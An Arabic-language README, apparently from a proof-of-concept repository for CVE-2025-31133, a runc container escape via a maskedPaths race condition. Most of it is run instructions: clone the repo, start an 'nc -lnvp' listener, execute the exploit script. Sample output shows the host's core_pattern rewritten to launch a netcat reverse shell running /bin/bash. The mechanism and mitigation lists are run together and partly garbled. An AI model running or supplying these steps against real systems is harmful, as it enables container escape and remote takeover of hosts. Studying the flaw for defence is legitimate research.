
إثبات المفهوم التعليمي لـ CVE-2025-31133، وهو هروب من حاوية runc عبر حالة سباق maskedPaths. يشمل إعداد المختبر، ونصًا برمجيًا للاستغلال، وإرشادات التخفيف لباحثي الأمن.
مظاهرة لإثبات المفهوم وبيئة تعلم لـ CVE-2025-31133، وهي ثغرة أمنية في runc تسمح بتجاوز حماية maskedPaths من خلال حالة سباق. تم تصميم maskedPaths لمنع الحاويات من الوصول إلى مسارات نظام الملفات الحساسة للمضيف.
https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910
👉 هذا المستودع هو مثال عملي على الأساليب والتقنيات البحثية المحددة المدرّسة في تدريب Black Hat:
إذا وجدت هذا مثيرًا للاهتمام، فهذه مجرد غيض من فيض.
يستغل الاستغلال حالة سباق حيث:
maskedPaths لحماية الملفات الحساسة (مثل /proc/sys/kernel/core_pattern)/dev/null) في نظام ملفات جذر الحاويةهذا المستودع مخصص للأغراض التعليمية فقط.
git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
cd Learn-about-cve-2025-31133-poc
سينفذ نص lab-setup.sh ما يلي:
chmod +x lab-setup.sh
./lab-setup.sh
تحقق من تثبيت إصدار runc الضعيف:
runc --version
يجب أن ترى الإصدار 1.2.0 أو ما شابه.
nc -lnvp <PORT>
chmod +x cve-2025-31133-exploit.sh
./cve-2025-31133-exploit.sh
عند النجاح، يجب أن ترى:
[*] Compiling race condition exploit binary...
[*] Starting exploit attempts...
[*] Target: /proc/sys/kernel/core_pattern
[*] Backing up /proc/sys/kernel/core_pattern...
[*] Backup created at /tmp/core_pattern.bak
[*] Current content of target:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
====================================================
[*] Testing delay: 5 microseconds
====================================================
X..
[+] ========================================
[+] SUCCESS! Exploit succeeded.
[+] ========================================
[+] Original content:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
------------------------------------------------
[+] Modified content:
|/bin/nc.traditional <ip-address> <port> -e /bin/bash
------------------------------------------------
./exploit.sh: line 148: 7068 Segmentation fault (core dumped) sleep 5
[*] Restoring original content...
[*] Restoration complete.
يجب إنشاء اتصال صدفة عكسية إلى المستمع الخاص بك.
للحماية من هذه الثغرة:
core_pattern الأصلي بعد الاستغلال الناجحتم توفير هذا المشروع للأغراض التعليمية. استخدمه بمسؤولية وأخلاقية.
تذكر: استخدم دائمًا أدوات البحث الأمني بمسؤولية وفقط في البيئات التي تمتلكها أو لديك إذن صريح لاختبارها.